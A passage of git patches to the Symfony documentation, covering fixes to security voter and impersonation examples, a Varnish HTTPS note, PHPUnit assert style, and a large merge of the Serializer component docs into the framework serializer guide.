+        drawback: it does not guarantee that the checks are performed on the same
+        token as the one in your voter. The token in the token storage might have
+        changed or could change in the meantime. Always use the ``AccessDecisionManager``
+        instead.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).

From 57857d5a8894761c8c7b6c029bef91d071efc5ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Nov 2024 11:28:39 +0100
Subject: [PATCH 6506/7107] Fix a minor syntax issue

---
 security/voters.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 2298fb155fd..5ba258cd19a 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -269,11 +269,11 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
         }
 
-        The ``Security::isGranted()`` method inside a voter has a significant
-        drawback: it does not guarantee that the checks are performed on the same
-        token as the one in your voter. The token in the token storage might have
-        changed or could change in the meantime. Always use the ``AccessDecisionManager``
-        instead.
+    The ``Security::isGranted()`` method inside a voter has a significant
+    drawback: it does not guarantee that the checks are performed on the same
+    token as the one in your voter. The token in the token storage might have
+    changed or could change in the meantime. Always use the ``AccessDecisionManager``
+    instead.
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``

From b6b649481ed58adab056dac223a6a5ffdde6c368 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Mon, 18 Nov 2024 18:03:22 +0100
Subject: [PATCH 6507/7107] Duplicate a note useful for varnish

---
 http_cache/varnish.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 3c1fa6d5346..1bc77530c70 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet:
         }
     }
 
+.. note::
+
+    Forcing HTTPS while using a reverse proxy or load balancer requires a proper
+    configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies`
+    for more details.
+
 Cookies and Caching
 -------------------
 

From 97599f7235111038662161fb171742e49033bb60 Mon Sep 17 00:00:00 2001
From: Oliver Kossin <oliver.kossin@massiveart.com>
Date: Tue, 19 Nov 2024 15:37:56 +0100
Subject: [PATCH 6508/7107] Fix isGranted to decide

---
 security/impersonating_user.rst | 4 ++--
 security/voters.rst             | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ffcab67194e..f74528cfb89 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -337,12 +337,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/voters.rst b/security/voters.rst
index 5ba258cd19a..5019638fdf4 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 

From 8905736ce78696955e5d8ae59321e5ebd2fda417 Mon Sep 17 00:00:00 2001
From: Florian Merle <florian.david.merle@gmail.com>
Date: Thu, 21 Nov 2024 17:23:17 +0100
Subject: [PATCH 6509/7107] Fix error_pages.rst setResponse()

---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 6a8b343ceca..0341c30e941 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setThrowable()`` on the
+    If your listener calls ``setResponse()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.

From bb7702481c4e3720795e06415cb450a96a3c993d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Nov 2024 16:21:09 +0100
Subject: [PATCH 6510/7107] Use non-static PHPUnit assert methods

---
 components/clock.rst |  6 +++---
 http_client.rst      | 12 ++++++------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index f58124c70af..1ae56775b77 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -143,18 +143,18 @@ is expired or not, by modifying the clock's time::
             $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
 
             // $validUntil is in the future, so it is not expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
             $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
-            static::assertTrue($expirationChecker->isExpired($validUntil));
+            $this->assertTrue($expirationChecker->isExpired($validUntil));
 
             $clock->modify('2022-11-16 15:00:00');
 
             // $validUntil is in the future again, so it is no longer expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
         }
     }
 
diff --git a/http_client.rst b/http_client.rst
index 988da776022..4a8829a52d5 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2225,15 +2225,15 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
-            self::assertContains(
+            $this->assertSame('POST', $mockResponse->getRequestMethod());
+            $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            $this->assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']
             );
-            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+            $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            self::assertSame($responseData, $expectedResponseData);
+            $this->assertSame($responseData, $expectedResponseData);
         }
     }
 
@@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame($responseData, 'the expected response');
+            $this->assertSame($responseData, 'the expected response');
         }
     }
 

From 8a1497b1f27242aa08b702f8f65150ec25f75190 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Jan 2023 16:42:58 +0100
Subject: [PATCH 6511/7107] Combine component and framework docs for Serializer

---
 _build/redirection_map                        |    4 +-
 .../serializer/serializer_workflow.svg        |    0
 .../serializer/serializer_workflow.dia        |  Bin
 components/property_access.rst                |    2 +
 components/property_info.rst                  |    6 +-
 components/serializer.rst                     | 1948 --------------
 reference/attributes.rst                      |   10 +-
 reference/configuration/framework.rst         |    9 +-
 reference/twig_reference.rst                  |    2 +
 serializer.rst                                | 2262 ++++++++++++++---
 serializer/custom_context_builders.rst        |    8 +-
 serializer/custom_encoders.rst                |   61 -
 serializer/custom_name_converter.rst          |  105 +
 serializer/custom_normalizer.rst              |   68 +-
 serializer/encoders.rst                       |  371 +++
 15 files changed, 2465 insertions(+), 2391 deletions(-)
 rename _images/{components => }/serializer/serializer_workflow.svg (100%)
 rename _images/sources/{components => }/serializer/serializer_workflow.dia (100%)
 delete mode 100644 components/serializer.rst
 delete mode 100644 serializer/custom_encoders.rst
 create mode 100644 serializer/custom_name_converter.rst
 create mode 100644 serializer/encoders.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 3ad55f95c73..4fb14724d26 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -525,7 +525,7 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
-/serializer/normalizers /components/serializer#normalizers
+/serializer/normalizers /serializer#serializer-built-in-normalizers
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
@@ -566,3 +566,5 @@
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
 /frontend/encore/server-data /frontend/server-data
+/components/serializer /serializer
+/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg
similarity index 100%
rename from _images/components/serializer/serializer_workflow.svg
rename to _images/serializer/serializer_workflow.svg
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia
similarity index 100%
rename from _images/sources/components/serializer/serializer_workflow.dia
rename to _images/sources/serializer/serializer_workflow.dia
diff --git a/components/property_access.rst b/components/property_access.rst
index ba487135d94..717012d6710 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -26,6 +26,8 @@ default configuration::
 
     $propertyAccessor = PropertyAccess::createPropertyAccessor();
 
+.. _property-access-reading-arrays:
+
 Reading from Arrays
 -------------------
 
diff --git a/components/property_info.rst b/components/property_info.rst
index e9f5853cb51..6d57c1bb274 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -458,9 +458,9 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
-from the :doc:`Serializer component </components/serializer>`,
-the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
+Using :ref:`groups metadata <serializer-groups-attribute>` from the
+:doc:`Serializer component </serializer>`, the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
diff --git a/components/serializer.rst b/components/serializer.rst
deleted file mode 100644
index c10e4c7e45f..00000000000
--- a/components/serializer.rst
+++ /dev/null
@@ -1,1948 +0,0 @@
-The Serializer Component
-========================
-
-    The Serializer component is meant to be used to turn objects into a
-    specific format (XML, JSON, YAML, ...) and the other way around.
-
-In order to do so, the Serializer component follows the following schema.
-
-.. raw:: html
-
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
-        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
-    ></object>
-
-When (de)serializing objects, the Serializer uses an array as the intermediary
-between objects and serialized contents. Encoders will only deal with
-turning specific **formats** into **arrays** and vice versa. The same way,
-normalizers will deal with turning specific **objects** into **arrays** and
-vice versa. The Serializer deals with calling the normalizers and encoders
-when serializing objects or deserializing formats.
-
-Serialization is a complex topic. This component may not cover all your use
-cases out of the box, but it can be useful for developing tools to
-serialize and deserialize your objects.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/serializer
-
-.. include:: /components/require_autoload.rst.inc
-
-To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>`
-must also be installed.
-
-Usage
------
-
-.. seealso::
-
-    This article explains the philosophy of the Serializer and gets you familiar
-    with the concepts of normalizers and encoders. The code examples assume
-    that you use the Serializer as an independent component. If you are using
-    the Serializer in a Symfony application, read :doc:`/serializer` after you
-    finish this article.
-
-To use the Serializer component, set up the
-:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders
-and normalizer are going to be available::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $normalizers = [new ObjectNormalizer()];
-
-    $serializer = new Serializer($normalizers, $encoders);
-
-The preferred normalizer is the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`,
-but other normalizers are available. All the examples shown below use
-the ``ObjectNormalizer``.
-
-Serializing an Object
----------------------
-
-For the sake of this example, assume the following class already
-exists in your project::
-
-    namespace App\Model;
-
-    class Person
-    {
-        private int $age;
-        private string $name;
-        private bool $sportsperson;
-        private ?\DateTimeInterface $createdAt;
-
-        // Getters
-        public function getAge(): int
-        {
-            return $this->age;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function getCreatedAt(): ?\DateTimeInterface
-        {
-            return $this->createdAt;
-        }
-
-        // Issers
-        public function isSportsperson(): bool
-        {
-            return $this->sportsperson;
-        }
-
-        // Setters
-        public function setAge(int $age): void
-        {
-            $this->age = $age;
-        }
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function setSportsperson(bool $sportsperson): void
-        {
-            $this->sportsperson = $sportsperson;
-        }
-
-        public function setCreatedAt(?\DateTimeInterface $createdAt = null): void
-        {
-            $this->createdAt = $createdAt;
-        }
-    }
-
-Now, if you want to serialize this object into JSON, you only need to
-use the Serializer service created before::
-
-    use App\Model\Person;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-    $person->setSportsperson(false);
-
-    $jsonContent = $serializer->serialize($person, 'json');
-
-    // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null}
-
-    echo $jsonContent; // or return it in a Response
-
-The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
-is the object to be serialized and the second is used to choose the proper encoder,
-in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
-
-Deserializing an Object
------------------------
-
-You'll now learn how to do the exact opposite. This time, the information
-of the ``Person`` class would be encoded in XML format::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <sportsperson>false</sportsperson>
-    </person>
-    EOF;
-
-    $person = $serializer->deserialize($data, Person::class, 'xml');
-
-In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
-needs three parameters:
-
-#. The information to be decoded
-#. The name of the class this information will be decoded to
-#. The encoder used to convert that information into an array
-
-By default, additional attributes that are not mapped to the denormalized object
-will be ignored by the Serializer component. If you prefer to throw an exception
-when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to
-``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
-when constructing the normalizer::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <city>Paris</city>
-    </person>
-    EOF;
-
-    // $loader is any of the valid loaders explained later in this article
-    $classMetadataFactory = new ClassMetadataFactory($loader);
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
-    // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, Person::class, 'xml', [
-        AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
-    ]);
-
-Deserializing in an Existing Object
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The serializer can also be used to update an existing object::
-
-    // ...
-    $person = new Person();
-    $person->setName('bar');
-    $person->setAge(99);
-    $person->setSportsperson(true);
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>69</age>
-    </person>
-    EOF;
-
-    $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]);
-    // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true)
-
-This is a common need when working with an ORM.
-
-The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object
-is the root of a tree structure, all child elements that exist in the
-normalized data will be re-created with new instances.
-
-When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to
-true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the
-normalized data, instead of the denormalizer re-creating them. Note that
-``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for
-arrays of objects. Those will still be replaced when present in the normalized
-data.
-
-Context
--------
-
-Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
-
-.. _component-serializer-attributes-groups:
-
-Attributes Groups
------------------
-
-Sometimes, you want to serialize different sets of attributes from your
-entities. Groups are a handy way to achieve this need.
-
-Assume you have the following plain-old-PHP object::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        private string $bar;
-
-        public function getBar(): string
-        {
-            return $this->bar;
-        }
-
-        public function setBar($bar): string
-        {
-            return $this->bar = $bar;
-        }
-    }
-
-The definition of serialization can be specified using annotations, attributes, XML
-or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-that will be used by the normalizer must be aware of the format to use.
-
-The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-for each format:
-
-* Annotations in PHP files::
-
-    use Doctrine\Common\Annotations\AnnotationReader;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
-
-* Attributes in PHP files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-* YAML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml'));
-
-* XML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
-
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    Reading annotations in PHP files is deprecated since Symfony 6.4.
-    Also, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
-.. _component-serializer-attributes-groups-annotations:
-.. _component-serializer-attributes-groups-attributes:
-
-Then, create your groups definition:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            #[Groups(['group1', 'group2'])]
-            public string $foo;
-
-            #[Groups(['group4'])]
-            public string $anotherProperty;
-
-            #[Groups(['group3'])]
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                foo:
-                    groups: ['group1', 'group2']
-                anotherProperty:
-                    groups: ['group4']
-                bar:
-                    groups: ['group3']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="foo">
-                    <group>group1</group>
-                    <group>group2</group>
-                </attribute>
-
-                <attribute name="anotherProperty">
-                    <group>group4</group>
-                </attribute>
-
-                <attribute name="bar">
-                    <group>group3</group>
-                </attribute>
-            </class>
-        </serializer>
-
-You are now able to serialize only attributes in the groups you want::
-
-    use Acme\MyObj;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyObj();
-    $obj->foo = 'foo';
-    $obj->anotherProperty = 'anotherProperty';
-    $obj->setBar('bar');
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj, null, ['groups' => 'group1']);
-    // $data = ['foo' => 'foo'];
-
-    $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['group1', 'group3']]
-    );
-    // $obj2 = MyObj(foo: 'foo', bar: 'bar')
-
-    // To get all groups, use the special value `*` in `groups`
-    $obj3 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['*']]
-    );
-    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
-
-.. _ignoring-attributes-when-serializing:
-
-Selecting Specific Attributes
------------------------------
-
-It is also possible to serialize only a set of specific attributes::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class User
-    {
-        public string $familyName;
-        public string $givenName;
-        public Company $company;
-    }
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-    $company = new Company();
-    $company->name = 'Les-Tilleuls.coop';
-    $company->address = 'Lille, France';
-
-    $user = new User();
-    $user->familyName = 'Dunglas';
-    $user->givenName = 'Kévin';
-    $user->company = $company;
-
-    $serializer = new Serializer([new ObjectNormalizer()]);
-
-    $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]);
-    // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']];
-
-Only attributes that are not ignored (see below) are available.
-If some serialization groups are set, only attributes allowed by those groups can be used.
-
-As for groups, attributes can be selected during both the serialization and deserialization processes.
-
-.. _serializer_ignoring-attributes:
-
-Ignoring Attributes
--------------------
-
-All accessible attributes are included by default when serializing objects.
-There are two options to ignore some of those attributes.
-
-Option 1: Using ``#[Ignore]`` Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public string $foo;
-
-            #[Ignore]
-            public string $bar;
-        }
-
-    .. code-block:: yaml
-
-        App\Model\MyClass:
-            attributes:
-                bar:
-                    ignore: true
-
-    .. code-block:: xml
-
-        <?xml version="1.0" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\MyClass">
-                <attribute name="bar" ignore="true"/>
-            </class>
-        </serializer>
-
-You can now ignore specific attributes during serialization::
-
-    use App\Model\MyClass;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyClass();
-    $obj->foo = 'foo';
-    $obj->bar = 'bar';
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj);
-    // $data = ['foo' => 'foo'];
-
-Option 2: Using the Context
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Pass an array with the names of the attributes to ignore using the
-``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
-serializer method::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-
-    $normalizer = new ObjectNormalizer();
-    $encoder = new JsonEncoder();
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"}
-
-.. _component-serializer-converting-property-names-when-serializing-and-deserializing:
-
-Converting Property Names when Serializing and Deserializing
-------------------------------------------------------------
-
-Sometimes serialized attributes must be named differently than properties
-or getter/setter methods of PHP classes.
-
-The Serializer component provides a handy way to translate or map PHP field
-names to serialized names: The Name Converter System.
-
-Given you have the following object::
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-And in the serialized form, all attributes must be prefixed by ``org_`` like
-the following::
-
-    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-
-A custom name converter can handle such cases::
-
-    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
-
-    class OrgPrefixNameConverter implements NameConverterInterface
-    {
-        public function normalize(string $propertyName): string
-        {
-            return 'org_'.$propertyName;
-        }
-
-        public function denormalize(string $propertyName): string
-        {
-            // removes 'org_' prefix
-            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
-        }
-    }
-
-The custom name converter can be used by passing it as second parameter of any
-class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`,
-including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $nameConverter = new OrgPrefixNameConverter();
-    $normalizer = new ObjectNormalizer(null, $nameConverter);
-
-    $serializer = new Serializer([$normalizer], [new JsonEncoder()]);
-
-    $company = new Company();
-    $company->name = 'Acme Inc.';
-    $company->address = '123 Main Street, Big City';
-
-    $json = $serializer->serialize($company, 'json');
-    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
-    // Same data as $company
-
-.. note::
-
-    You can also implement
-    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access the current class name, format and context.
-
-.. _using-camelized-method-names-for-underscored-attributes:
-
-CamelCase to snake_case
-~~~~~~~~~~~~~~~~~~~~~~~
-
-In many formats, it's common to use underscores to separate words (also known
-as snake_case). However, in Symfony applications is common to use CamelCase to
-name properties (even though the `PSR-1 standard`_ doesn't recommend any
-specific case for property names).
-
-Symfony provides a built-in name converter designed to transform between
-snake_case and CamelCased styles during serialization and deserialization
-processes::
-
-    use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-
-    $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter());
-
-    class Person
-    {
-        public function __construct(
-            private string $firstName,
-        ) {
-        }
-
-        public function getFirstName(): string
-        {
-            return $this->firstName;
-        }
-    }
-
-    $kevin = new Person('Kévin');
-    $normalizer->normalize($kevin);
-    // ['first_name' => 'Kévin'];
-
-    $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
-    // Person object with firstName: 'Anne'
-
-.. _serializer_name-conversion:
-
-Configure name conversion using metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using this component inside a Symfony application and the class metadata
-factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your name conversion mapping. Consider an application that
-defines a ``Person`` entity with a ``firstName`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            public function __construct(
-                #[SerializedName('customer_name')]
-                private string $firstName,
-            ) {
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\Entity\Person:
-            attributes:
-                firstName:
-                    serialized_name: customer_name
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
